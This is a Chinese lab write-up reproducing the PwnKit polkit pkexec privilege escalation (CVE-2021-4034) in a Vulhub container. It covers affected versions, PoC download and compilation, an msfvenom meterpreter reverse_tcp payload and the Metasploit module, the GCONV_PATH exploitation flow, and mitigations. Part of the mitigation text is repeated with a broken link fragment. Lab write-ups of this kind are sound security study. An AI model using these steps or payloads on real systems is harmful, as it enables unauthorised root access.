CVE-2021-4034

CVE-2021-4034(Linux Polkit 权限提升漏洞)

漏洞描述

polkit包旨在定义和处理允许非特权进程与Linux系统上的特权进程通行的策略,Pkexec是polkit的一部分,是一个允许用户根据polkit策略定义使用setuid功能以其他用户身份执行命令的工具。

pkexec中发现的漏洞允许无特权的本地攻击者提升权限,由于对进程参数向量的处理不正确而绕过任何身份验证和策略。

主要风险是非特权用户可能获取受影响系统的管理特权,攻击者必须具有对目标系统的登录权限才能执行攻击。

影响版本

  • Debain stretch policykit-1 < 0.105-18+deb9u2
  • Debain buster policykit-1 < 0.105-25+deb10u1
  • Debain bookworm, bullseye policykit-1 < 0.105-31.1
  • Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
  • Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
  • Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
  • Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
  • Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
  • Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
  • CentOS 6 polkit < polkit-0.96-11.el6_10.2
  • CentOS 7 polkit < polkit-0.112-26.el7_9.1
  • CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
  • CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
  • CentOS 8.4 polkit < polkit-0.115-11.el8_4.2

环境配置

  • Vulhub项目
  • Docker-compose启动

polkit版本为0.105

漏洞复现

SSH登录环境

ssh ubuntu@192.168.40.129 -p 2222

密码为vulhub

脚本复现

searchsploit polkit

根据版本和描述选择50011.sh

searchsploit -m 50011

【攻击机】
python3 -m http.server 8080
【靶机】
cd /tmp
wget http://192.168.40.129:8080/50011.sh

[!failure]
这个脚本利用失败

换用EXP:

  • https://github.com/berdav/CVE-2021-4034
  • https://github.com/arthepsy/CVE-2021-4034
【攻击机】
python3 -m http.server 8080
【靶机】
cd /tmp
wget http://192.168.40.129:8080/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o cve
./cve

[!success]
成功提权

MSF利用

search cve:2021-4034

利用的前提为有session

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f elf > shell.elf

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

[!success]
成功提权

漏洞原理

Polkit 身份验证框架

Polkit 是 Linux 图形桌面环境中使用的身份验证框架,用于对系统中的访问权限进行精细管理。在传统上,Linux 上的 root 用户(获得完全授权的管理员帐户)与系统中所有其他帐户和组之间存在严格的特权分离。这些非管理员帐户可能拥有特定的附加特权,例如通过 audio 组访问声音硬件。不过,这种特权是固定的,在特定的情况下或特定的时间内无法授予。

Polkit 不是完全切换到 root 用户(使用 sudo 之类的程序)来获取较高的特权,而是根据需要向用户或组授予特定的特权。此过程由配置文件控制,这些配置文件描述了需要在动态环境中授权的各个操作。

Polkit 实用程序

Polkit 提供了用于完成特定任务的实用程序:

  • pkaction

    获取有关所定义操作的细节。有关更多信息,请参见第 18.3 节 “查询特权”

  • pkcheck

    检查某个进程是否有权执行特定的 Polkit 操作。

  • pkexec

    允许程序根据 Polkit 授权设置以不同用户的身份执行。这与 susudo 类似。

  • pkttyagent

    启动文本身份验证代理。如果桌面环境没有自己的身份验证代理,将使用此代理。

    Polkit 身份验证框架

Pkexec 机制

pkexec 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以管理超级用户 root 的身份执行。

语法
pkexec [--version] [--disable-internal-agent] [--help]
pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...]
选项
PROGRAM 运行的程序
ARGUMENTS... 传递给程序的参数

--version 输出版本号然后退出
--disable-internal-agent 避免将注册自己的文本身份验证代理
--help 输出帮助文本然后退出
--keep-cwd 运行位置,默认在 /home/<username>/
--user <username> 需要运行的用户名
返回值

成功完成后,返回值为 PROGRAM 的返回值。

  • 127: 在未获得授权或者身份验证发生错误
  • 126: 用户关闭身份验证对话框而无法获得授权
示例
pkexec cat /etc/shadow

[!warning]
值得一提的是,pkexec似乎只能在有图形化界面使用,如果使用远程连接工具是不能验证pkexec成功的

pkexec命令解释

原理分析

CVE-2021-4034 深入分析及漏洞复现

[原创]CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

CVE-2021-4034 pkexec 本地提权漏洞利用解析

利用流程

**第一步:**在自己可控的目录下生成一个gconv-modules文件,并将文件内容设置为指向某个so文件。

**第二步:**在so文件中实现gconv_init函数,此函数主要就是生成一个root shell(由于pkexec默认开启SUID),而在so库的此函数中,设置当前进程用户的uid为0,即可提权到root用户。

**第三步:**调用pkexec,而且在调用的时候通过命令行参数设置使得pkexec得到的argc为0,将环境变量中的第一个设置为非/开头的一个相对路径,将环境变量中的PATH变量的值设置为GCONV_PATH=开头的字符串,使得对应的路径指向上述存储gconv-modules文件的路径。

修复建议

缓解措施

  • Qualys 在 报告 中给出了缓解措施:
# chmod 0755 /usr/bin/pkexec

即从 pkexec 中删除 SUID 位

  • RedHat 给出了针对该漏洞的缓解措施:

https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

  • 升级组件版本
    2022/01/25/cve-2021-4034/pwnkit.txt) 中给出了缓解措施:
# chmod 0755 /usr/bin/pkexec

即从 pkexec 中删除 SUID 位

  • RedHat 给出了针对该漏洞的缓解措施:

https://access.redhat.com/security/vulnerabilities/RHSB-2022-001

  • 升级组件版本
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值